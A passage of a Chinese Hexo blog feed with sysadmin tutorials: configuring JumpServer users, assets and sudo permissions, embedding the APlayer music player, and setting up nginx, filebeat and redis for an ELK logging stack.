o        |</span><br><span class="line">+----[SHA256]-----+</span><br></pre></td></tr></table></figure><p>粘贴公钥填入个人信息中</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# cd .ssh/</span><br><span class="line">[root@localhost .ssh]# ls</span><br><span class="line">id_rsa  id_rsa.pub  known_hosts</span><br><span class="line">[root@localhost .ssh]# cat id_rsa.pub </span><br><span class="line">ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClEDeVNMYP61JPrCXUQHQYC1ddIpPqroNrQn3SXZXLfef2g0c5xmwlHqgiHEjBGLR+0TIjkXDFY0Z9JU/TebGyrBbo9bTM0tkxVfWVAR/Ayba7yN98Sr43evev1yHIsg31eyPa2wE6TRmpz6jCHTMOodw4+TMkfiXdPDyw2Ny+6zOXGtK8Kz2Sie1SCgSWrNaGp364aZInjB7J2H5fCXLwW6SQqmcwer29q2djNw0ILc4acYpDe+pOMm2CGbnFvTaB6T9A1hfdpmQ74TnfI4frukM2vUqKwms6/At+TVqvWl+RX9jU83y7pOSoWZeRKKoJct4frpcPghAYJI1+qhtz root@localhost.localdomain</span><br></pre></td></tr></table></figure><h3 id="创建资产"><a href="#创建资产" class="headerlink" title="创建资产"></a>创建资产</h3><p>创建Linux资产</p><p>编辑资产树</p><p>节点名不能重名,右击节点可以添加,删除和重命名节点,以及进行资产相关的操作.</p><p><img src="https://pic3.superbed.cn/item/5d1a3c80451253d178b942f7.png" alt=""></p><h3 id="创建管理用户"><a href="#创建管理用户" class="headerlink" title="创建管理用户"></a>创建管理用户</h3><p>jumpserver里各个用户的说明</p><p><img src="https://pic.superbed.cn/item/5d1a3c8f451253d178b94400.jpg" alt=""></p><p>管理用户是服务器的 root，或拥有 NOPASSWD: ALL sudo 权限的用户，Jumpserver 使用该用户来推送系统用户、获取资产硬件信息等。</p><p><img src="https://pic.superbed.cn/item/5d1a3ca2451253d178b944c4.png" alt=""></p><h3 id="创建系统用户"><a href="#创建系统用户" class="headerlink" title="创建系统用户"></a>创建系统用户</h3><p><img src="https://pic.superbed.cn/item/5d1a3cb4451253d178b94555.png" alt=""></p><p>系统用户是 Jumpserver 跳转登录资产时使用的用户，可以理解为登录资产用户， Jumpserver使用系统用户登录资产。</p><p>系统用户的 Sudo 栏填写允许当前系统用户免sudo密码执行的程序路径，如默认的/sbin/ifconfig，意思是当前系统用户可以直接执行 ifconfig 命令或 sudo ifconfig 而不需要输入当前系统用户的密码，执行其他的命令任然需要密码，以此来达到权限控制的目的。</p><p># 此处的权限应该根据使用用户的需求汇总后定制，原则上给予最小权限即可。</p><p>系统用户创建时，如果选择了自动推送 Jumpserver 会使用 Ansible 自动推送系统用户到资产中，如果资产(交换机、Windows )不支持 Ansible, 请手动填写账号密码。</p><p>Linux 系统协议项务必选择 ssh 。如果用户在系统中已存在，请去掉自动生成密钥、自动推送勾选。</p><h3 id="创建资产-1"><a href="#创建资产-1" class="headerlink" title="创建资产"></a>创建资产</h3><p>点击页面左侧的“资产管理”菜单下的“资产列表”按钮，查看当前所有的资产列表。</p><p>点击页面左上角的“创建资产”按钮，进入资产创建页面，填写资产信息。</p><p>IP 地址和管理用户要确保正确，确保所选的管理用户的用户名和密码能”牢靠”地登录指定的 IP 主机上。资产的系统平台也务必正确填写。公网 IP 信息只用于展示，可不填，Jumpserver 连接资产使用的是 IP 信息。<img src="https://ae01.alicdn.com/kf/HTB1tu6beUCF3KVjSZJn762nHFXaf.png" alt=""></p><p>再次更新之后就变成了可连接的了</p><p><img src="https://pic.superbed.cn/item/5d1a3cda451253d178b9467f.png" alt=""></p><p>也可以去测试资产是否可以连接</p><p><img src="https://pic.superbed.cn/item/5d1a3cf1451253d178b9472e.png" alt=""></p><p><img src="https://pic.superbed.cn/item/5d1a3d02451253d178b947b5.png" alt=""></p><p>如果资产不能正常连接，请检查管理用户的用户名和密钥是否正确以及该管理用户是否能使用 SSH 从 Jumpserver 主机正确登录到资产主机上。</p><h3 id="网域列表"><a href="#网域列表" class="headerlink" title="网域列表"></a>网域列表</h3><p>网域功能是为了解决部分环境无法直接连接而新增的功能，原理是通过网关服务器进行跳转登录。</p><p>这个功能，一般情况不用到。</p><h3 id="资产授权"><a href="#资产授权" class="headerlink" title="资产授权"></a>资产授权</h3><p>节点，对应的是资产，代表该节点下的所有资产。</p><p>用户组，对应的是用户，代表该用户组下所有的用户。</p><p>系统用户，及所选的用户组下的用户能通过该系统用户使用所选节点下的资产。</p><p>节点，用户组，系统用户是一对一的关系，所以当拥有 Linux、Windows 不同类型资产时，应该分别给 Linux 资产和 Windows 资产创建授权规则。</p><p><img src="https://pic1.superbed.cn/item/5d1a3d12451253d178b94838.png" alt=""></p><p>在授权成功后,jumpserver会自动推送一个帐号，自动在资产服务器上创建系统用户</p><p><img src="https://pic.superbed.cn/item/5d1a3d23451253d178b948d4.png" alt=""></p><p><img src="https://pic3.superbed.cn/item/5d1a3d36451253d178b9496b.png" alt=""></p><p>其原理就是在/etc/sudoers设置该用户的权限,sudo相关的规则也会被自动推送过来</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">test1 ALL=(ALL) NOPASSWD: /sbin,/bin</span><br></pre></td></tr></table></figure><h3 id="用户使用资产"><a href="#用户使用资产" class="headerlink" title="用户使用资产"></a>用户使用资产</h3><p>登录 Jumpserver</p><p>创建授权规则的时候，选择了用户组，所以这里需要登录所选用户组下面的用户才能看见相应的资产。</p><p>使用无痕浏览器，再打开一个窗口，进行登录：</p><p>使用刚刚创建的用户haha去登陆,连接资产主机</p><p><img src="https://pic3.superbed.cn/item/5d1a3d49451253d178b94a01.png" alt=""></p><p>也可以通过xshell去连接</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# ssh -p 2222 haha@192.168.48.139</span><br><span class="line">The authenticity of host &apos;[192.168.48.139]:2222 ([192.168.48.139]:2222)&apos; can&apos;t be established.</span><br><span class="line">RSA key fingerprint is SHA256:51aZmkQvw20kIozk9n3Sg0aGUJ6ZSJMQyJInC3HQ08w.</span><br><span class="line">RSA key fingerprint is MD5:82:e3:ef:bf:8e:5b:db:bd:e2:56:67:4e:08:e1:d1:b0.</span><br><span class="line">Are you sure you want to continue connecting (yes/no)? yes</span><br><span class="line">Warning: Permanently added &apos;[192.168.48.139]:2222&apos; (RSA) to the list of known hosts.</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    haha, 欢迎使用Jumpserver开源跳板机系统  </span><br><span class="line"></span><br><span class="line">    1) 输入 ID 直接登录 或 输入部分 IP,主机名,备注 进行搜索登录(如果唯一).</span><br><span class="line">    2) 输入 / + IP, 主机名 or 备注 搜索. 如: /ip</span><br><span class="line">    3) 输入 P/p 显示您有权限的主机.</span><br><span class="line">    4) 输入 G/g 显示您有权限的主机组.</span><br><span class="line">    5) 输入 G/g + 组ID 显示该组下主机. 如: g1</span><br><span class="line">    6) 输入 H/h 帮助.</span><br><span class="line">    0) 输入 Q/q 退出.</span><br><span class="line"></span><br><span class="line">Opt&gt;</span><br></pre></td></tr></table></figure><p>在xshell字符终端下连接jumpserver管理服务器</p><p>输入ip或者ID直接可以连接到主机</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">Opt&gt; 192.168.48.139</span><br><span class="line"></span><br><span class="line">Connecting to test1@资产主机 0.4</span><br><span class="line">Last login: Thu Jun 13 00:27:36 2019 from 192.168.48.139</span><br><span class="line">[test1@localhost ~]$ whoami</span><br><span class="line">test1</span><br><span class="line">[test1@localhost ~]$ exit</span><br><span class="line">登出</span><br><span class="line"></span><br><span class="line">Opt&gt;</span><br></pre></td></tr></table></figure><p>输入p(不区分大小写)查看你有权限的主机</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">Opt&gt; p</span><br><span class="line"></span><br><span class="line"> ID Hostname        IP              LoginAs        Comment                              </span><br><span class="line">  1 资产主机            192.168.48.139  [检查服务器运行状态的用户] </span><br><span class="line"></span><br><span class="line">总共: 1 匹配: 1</span><br></pre></td></tr></table></figure><p>输入g(不区分大小写)查看你有权限的组</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Opt&gt; g</span><br><span class="line"></span><br><span class="line">   ID Name            Assets     Comment                                                    1 jumpserver服务器   1                                     </span><br><span class="line"></span><br><span class="line">总共: 1</span><br></pre></td></tr></table></figure><h3 id="查看历史回话"><a href="#查看历史回话" class="headerlink" title="查看历史回话"></a>查看历史回话</h3><p><img src="https://pic1.superbed.cn/item/5d1a3d5f451253d178b94ab7.png" alt=""></p><h3 id="查看历史命令"><a href="#查看历史命令" class="headerlink" title="查看历史命令"></a>查看历史命令</h3><p><img src="https://ae01.alicdn.com/kf/HTB1DVLbeMaH3KVjSZFj763FWpXaN.png" alt=""></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla
      
    
    </summary>
    
      <category term="运维技术" scheme="https://louisnie.github.io/categories/%E8%BF%90%E7%BB%B4%E6%8A%80%E6%9C%AF/"/>
    
    
      <category term="堡垒机" scheme="https://louisnie.github.io/tags/%E5%A0%A1%E5%9E%92%E6%9C%BA/"/>
    
  </entry>
  
  <entry>
    <title>Hexo使用APlayer插入音乐</title>
    <link href="https://louisnie.github.io/2019/06/26/Hexo%20%E4%BD%BF%E7%94%A8%20APlayer%20%E6%8F%92%E5%85%A5%E9%9F%B3%E4%B9%90/"/>
    <id>https://louisnie.github.io/2019/06/26/Hexo 使用 APlayer 插入音乐/</id>
    <published>2019-06-25T17:13:28.000Z</published>
    <updated>2019-06-25T17:37:08.026Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><blockquote class="blockquote-center">带着感恩的心启程，学会爱，爱父母，爱自己，爱朋友，爱他人。</blockquote><div class="aplayer" data-id="108740" data-server="netease" data-type="song" data-mode="single"></div><h2 id="背景"><a href="#背景" class="headerlink" title="背景:"></a>背景:</h2><p>以前一直使用网易云音乐去生成外链播放器,但因为好多的歌存在着版权问题,导致每次找背景歌曲都非常麻烦~无意在网上看到APlayer,Aplayer是一个html5的嵌入式播放器,将其用在博客中去插入音乐链接,非常的好用.</p><p><strong>APlayer支持：</strong></p><ul><li>媒体格式<ul><li>MP4 H.264（AAC或MP3）</li><li>WAVE PCM</li><li>Ogg Theora Vorbis</li></ul></li><li>特征<ul><li>播放列表</li><li>歌词</li></ul></li></ul><h2 id="开始安装"><a href="#开始安装" class="headerlink" title="开始安装:"></a>开始安装:</h2><p>我用的是 next 主题，这里直接使用官网提供的<a href="https://aplayer.js.org/docs/#/?id=cdn" target="_blank" rel="noopener">CDN</a>进行引入APlayer。也可以使用github的方式去安装<a href="https://github.com/MoePlayer/hexo-tag-aplayer/blob/master/docs/README-zh_cn.md" target="_blank" rel="noopener">https://github.com/MoePlayer/hexo-tag-aplayer/blob/master/docs/README-zh_cn.md</a></p><p>我们去编辑 <code>/themes/next/layout/_partials/</code> 目录下的 <code>header.swig</code>，引入 Aplayer.js加入以下三行代码,插入到文件最后面即可</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;link rel=&quot;stylesheet&quot; href=&quot;https://cdn.jsdelivr.net/npm/aplayer@1.7.0/dist/APlayer.min.css&quot;&gt;</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;script src=&quot;https://cdn.jsdelivr.net/npm/aplayer@1.7.0/dist/APlayer.min.js&quot;&gt;&lt;/script&gt;</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;script src=&quot;https://cdn.jsdelivr.net/npm/meting@1.1.0/dist/Meting.min.js&quot;&gt;&lt;/script&gt;</span><br></pre></td></tr></table></figure><h2 id="如何使用"><a href="#如何使用" class="headerlink" title="如何使用"></a>如何使用</h2><p>使用方法很简单， 在markdown格式的博文中，在需要插入音乐的地方加入以下<code>div</code>即可：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;div class=&quot;aplayer&quot; data-id=&quot;108740&quot; data-server=&quot;netease&quot; data-type=&quot;song&quot; data-mode=&quot;single&quot;&gt;&lt;/div&gt;</span><br></pre></td></tr></table></figure><h2 id="效果图"><a href="#效果图" class="headerlink" title="效果图"></a>效果图</h2><div class="aplayer" data-id="108740" data-server="netease" data-type="song" data-mode="single"></div><h2 id="常用参数"><a href="#常用参数" class="headerlink" title="常用参数"></a>常用参数</h2><table><thead><tr><th style="text-align:left">主要参数</th><th style="text-align:center">值</th></tr></thead><tbody><tr><td style="text-align:left">data-id</td><td style="text-align:center">歌曲/专辑/歌单 ID</td></tr><tr><td style="text-align:left">data-server</td><td style="text-align:center">netease（网易云音乐）tencent（QQ音乐） xiami（虾米） kugou（酷狗）</td></tr><tr><td style="text-align:left">data-type</td><td style="text-align:center">song （单曲） album （专辑） playlist （歌单） search （搜索）</td></tr><tr><td style="text-align:left">data-mode</td><td style="text-align:center">random （随机） single （单曲） circulation （列表循环） order （列表）</td></tr><tr><td style="text-align:left">data-autoplay</td><td style="text-align:center">false（手动播放） true（自动播放）</td></tr></tbody></table><p>更多的参数可参考<a href="https://aplayer.js.org/#/zh-Hans/?id=%E5%8F%82%E6%95%B0" target="_blank" rel="noopener">官方文档</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla
      
    
    </summary>
    
      <category term="HEXO" scheme="https://louisnie.github.io/categories/HEXO/"/>
    
    
      <category term="hexo" scheme="https://louisnie.github.io/tags/hexo/"/>
    
  </entry>
  
  <entry>
    <title>部署ELK实时日志监控系统</title>
    <link href="https://louisnie.github.io/2019/06/05/%E9%83%A8%E7%BD%B2ELK%E5%AE%9E%E6%97%B6%E6%97%A5%E5%BF%97%E7%9B%91%E6%8E%A7%E7%B3%BB%E7%BB%9F/"/>
    <id>https://louisnie.github.io/2019/06/05/部署ELK实时日志监控系统/</id>
    <published>2019-06-05T13:59:28.000Z</published>
    <updated>2019-07-03T16:33:04.411Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><p><blockquote class="blockquote-center">我是一直在努力的学习思考并改变自己.</blockquote></p><p><div class="aplayer" data-id="1349292048" data-server="netease" data-type="song" data-mode="single"></div><br>系统拓扑:</p><p><img src="https://ae01.alicdn.com/kf/HTB1qE9Ne4iH3KVjSZPf760BiVXah.png" alt=""></p><h2 id="安装nginx"><a href="#安装nginx" class="headerlink" title="安装nginx"></a>安装nginx</h2><h3 id="安装nginx-1"><a href="#安装nginx-1" class="headerlink" title="安装nginx"></a>安装nginx</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# yum install nginx -y</span><br><span class="line">[root@localhost ~]# /usr/sbin/nginx -v</span><br><span class="line">nginx version: nginx/1.12.2</span><br></pre></td></tr></table></figure><p>修改其配置文件,将nginx日志格式转换为json格式</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">http &#123;</span><br><span class="line">log_format log_json &apos;&#123;&quot;remote_addr&quot;: &quot;$remote_addr&quot;, &apos;</span><br><span class="line">                    &apos;&quot;ident&quot;: &quot;-&quot;, &apos;</span><br><span class="line">                    &apos;&quot;user&quot;: &quot;$remote_user&quot;, &apos;</span><br><span class="line">                    &apos;&quot;timestamp&quot;: &quot;$time_local&quot;, &apos;</span><br><span class="line">                    &apos;&quot;request&quot;: &quot;$request&quot;, &apos;</span><br><span class="line">                    &apos;&quot;status&quot;: $status, &apos;</span><br><span class="line">                    &apos;&quot;bytes&quot;: $body_bytes_sent, &apos;</span><br><span class="line">                    &apos;&quot;referer&quot;: &quot;$http_referer&quot;, &apos;</span><br><span class="line">                    &apos;&quot;agent&quot;: &quot;$http_user_agent&quot;, &apos;</span><br><span class="line">                    &apos;&quot;x_forwarded&quot;: &quot;$http_x_forwarded_for&quot;&apos;</span><br><span class="line">                    &apos; &#125;&apos;;</span><br><span class="line">    access_log  /var/log/nginx/access-json.log  log_json;</span><br></pre></td></tr></table></figure><h3 id="设置nginx认证"><a href="#设置nginx认证" class="headerlink" title="设置nginx认证"></a>设置nginx认证</h3><p>设置nginx必须使用用户名密码方式验证,修改配置文件</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">location / &#123;</span><br><span class="line">        root   html;</span><br><span class="line">        index  index.html index.htm;</span><br><span class="line">        auth_basic &quot;kibana auth&quot;;</span><br><span class="line">        auth_basic_user_file /etc/nginx/conf.d/passwd;</span><br><span class="line">        proxy_pass http://127.0.0.1:5601;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>接着去创建一个passwd,写入用户名密码</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost conf.d]# touch passwd</span><br><span class="line">[root@localhost conf.d]# vim passwd</span><br></pre></td></tr></table></figure><p>但如果明文写入其中的话,并不安全,所以需要加密,我们使用openssl软件进行加密.OpenSSL是一个强大的安全套接字层密码库,参数passwd表示生成散列密码,-apr1表示基于 MD5 的密码算法, 为Apache 变异加密,而且相同的值每次所计算的结果均不一样</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost conf.d]# openssl passwd -apr1 123456</span><br><span class="line">$apr1$VSksFdhI$lU3M4V2wRPJ9qaTzYrDeX/</span><br></pre></td></tr></table></figure><p>写入内容为:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">admin:$apr1$VSksFdhI$lU3M4V2wRPJ9qaTzYrDeX/</span><br></pre></td></tr></table></figure><p>重启nginx</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost nginx]# systemctl restart nginx</span><br></pre></td></tr></table></figure><p>再次访问的话就需要输入用户名密码才可以打开nginx界面</p><p><img src="https://ae01.alicdn.com/kf/HTB1NgqOe2WG3KVjSZPc762kbXXac.png" alt=""></p><h2 id="部署filebeat"><a href="#部署filebeat" class="headerlink" title="部署filebeat"></a>部署filebeat</h2><p>下载filebeat</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost local]# wget https://artifacts.elastic.co/downloads/beats/filebeat/filebeat-6.6.2-linux-x86_64.tar.gz</span><br></pre></td></tr></table></figure><p>解压缩</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost local]# tar zxvf filebeat-6.6.2-linux-x86_64.tar.gz</span><br></pre></td></tr></table></figure><p>修改其配置文件</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost local]# cd filebeat-6.6.2-linux-x86_64/            </span><br><span class="line">[root@localhost filebeat-6.6.2-linux-x86_64]# vim filebeat.yml </span><br><span class="line">filebeat.inputs:</span><br><span class="line">#设置输入类型为日志类型</span><br><span class="line">- type: log</span><br><span class="line"></span><br><span class="line"> #开启input配置</span><br><span class="line">  enabled: true</span><br><span class="line">  </span><br><span class="line">  #设置每隔一秒检查一次文件更新 </span><br><span class="line">  backoff: &quot;1s&quot;</span><br><span class="line">  </span><br><span class="line">  #从开头读取文件</span><br><span class="line">  tail_files: false</span><br><span class="line">  </span><br><span class="line">  # 修改路径为nginx日志路径,即接收nginx日志文件</span><br><span class="line">  paths:</span><br><span class="line">     - /var/log/nginx/access-json.log</span><br><span class="line">  fields:                          #自定义一个字段</span><br><span class="line">    filetype: logjson               #给自定义的字段赋值</span><br><span class="line">  fields_under_root: true           #设置自定义字段为文档中的顶级字段</span><br><span class="line"></span><br><span class="line">#输出到redis当中去 </span><br><span class="line">output.redis:</span><br><span class="line">  enabled: true</span><br><span class="line">  hosts: [&quot;127.0.0.1:6379&quot;]</span><br><span class="line">  port: 6379</span><br><span class="line">  key: nginx</span><br><span class="line">  db: 0</span><br><span class="line">  datatype: list</span><br></pre></td></tr></table></figure><h2 id="搭建redis缓存服务器"><a href="#搭建redis缓存服务器" class="headerlink" title="搭建redis缓存服务器"></a>搭建redis缓存服务器</h2><p>下载</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost local]# wget http://download.redis.io/releases/redis-4.0.14.tar.gz</span><br></pre></td></tr></table></figure><p>解压</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost local]# tar zxvf redis-4.0.14.tar.gz</span><br></pre></td></tr></table></figure><p>编译</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost redis-4.0.14]# make</span><br></pre></td></tr></table></figure><p>如果出现以下报错</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost redis-4.0.14]# make</span><br><span class="line">cd src &amp;&amp; make all</span><br><span class="line">make[1]: 进入目录“/usr/local/redis-4.0.14/src”</span><br><span class="line">    CC Makefile.dep</span><br><span class="line">make[1]: 离开目录“/usr/local/redis-4.0.14/src”</span><br><span class="line">make[1]: 进入目录“/usr/local/redis-4.0.14/src”</span><br><span class="line">    CC adlist.o</span><br><span class="line">In file included from adlist.c:34:0:</span><br><span class="line">zmalloc.h:50:31: 致命错误：jemalloc/jemalloc.h：没有那个文件或目录</span><br><span class="line"> #include &lt;jemalloc/jemalloc.h&gt;</span><br></pre></td></tr></table></figure><p>输入</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">make MALLOC=libc</span><br></pre></td></tr></table></figure><p>接着在进行编译即可</p><p>初始化redis</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost redis-4.0.14]# cd utils/</span><br><span class="line">[root@localhost utils]# ./install_server.sh</span><br></pre></td></tr></table></figure><p>如果出现以下问题</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost utils]# ./install_server.sh </span><br><span class="line">Welcome to the redis service installer</span><br><span class="line">This script will help you easily set up a running redis server</span><br><span class="line"></span><br><span class="line">Please select the redis port for this instance: [6379] </span><br><span class="line">Selecting default: 6379</span><br><span class="line">Please select the redis config file name [/etc/redis/6379.conf] </span><br><span class="line">Selected default - /etc/redis/6379.conf</span><br><span class="line">Please select the redis log file name [/var/log/redis_6379.log] </span><br><span class="line">Selected default - /var/log/redis_6379.log</span><br><span class="line">Please select the data directory for this instance [/var/lib/redis/6379] </span><br><span class="line">Selected default - /var/lib/redis/6379</span><br><span class="line">Please select the redis executable path [] </span><br><span class="line">Mmmmm...  it seems like you don&apos;t have a redis executable. Did you run make install yet?</span><br></pre></td></tr></table></figure><p>那么就去创建软连接,将redis-server的软链接创建到/usr/local/bin下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost src]# ln -s /usr/local/redis-4.0.14/src/redis-server /usr/local/bin/</span><br></pre></td></tr></table></figure><p>接着去修改redis配置文件</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost utils]# vim /etc/redis/6379.conf</span><br><span class="line">#设置任意主机均可连接</span><br><span class="line">bind 0.0.0.0</span><br><span class="line">#默认6379端口</span><br><span class="line">port 6379</span><br><span class="line">#允许在后台启动</span><br><span class="line">daemonize yes</span><br><span class="line">#输入的日志文件</span><br><span class="line">logfile /var/log/redis_6379.log</span><br><span class="line">#数据目录</span><br><span class="line">dir /var/lib/redis/6379</span><br></pre></td></tr></table></figure><p>开启redis</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost utils]# systemctl restart redis_6379</span><br></pre></td></tr></table></figure><p>将redis-cli添加到/usr/local/bin目录下,然后启动redis-cli客户端</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost src]# ln -s /usr/local/redis-4.0.14/src/redis-cli /usr/local/bin/</span><br><span class="line">[root@localhost src]# redis-cli</span><br><span class="line">127.0.0.1:6379&gt; set name haha          #创建个键,其名为haha</span><br><span class="line">OK</span><br><span class="line">127.0.0.1:6379&gt; keys *                 #查看所有的键</span><br><span class="line">1) &quot;name&quot;</span><br><span class="line">127.0.0.1:6379&gt; get name                 #查看name键的值</span><br><span class="line">&quot;haha&quot;</span><br></pre></td></tr></table></figure><p>同步系统时间,这里与阿里的ntp服务器进行同步</p><p>ntp1.aliyun.com ~ ntp5.aliyun.com这几个ntp服务器都可以使用的</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost config]# ntpdate ntp1.aliyun.com  #进行同步</span><br><span class="line">29 May 15:04:13 ntpdate[20946]: adjust time server 120.25.115.20 offset -0.004502 sec</span><br><span class="line"></span><br><span class="line">[root@localhost config]# date -R  #查看当前时区时间</span><br><span class="line">Wed, 29 May 2019 15:04:56 +0800</span><br></pre></td></tr></table></figure><h2 id="修改logstash配置文件"><a href="#修改logstash配置文件" class="headerlink" 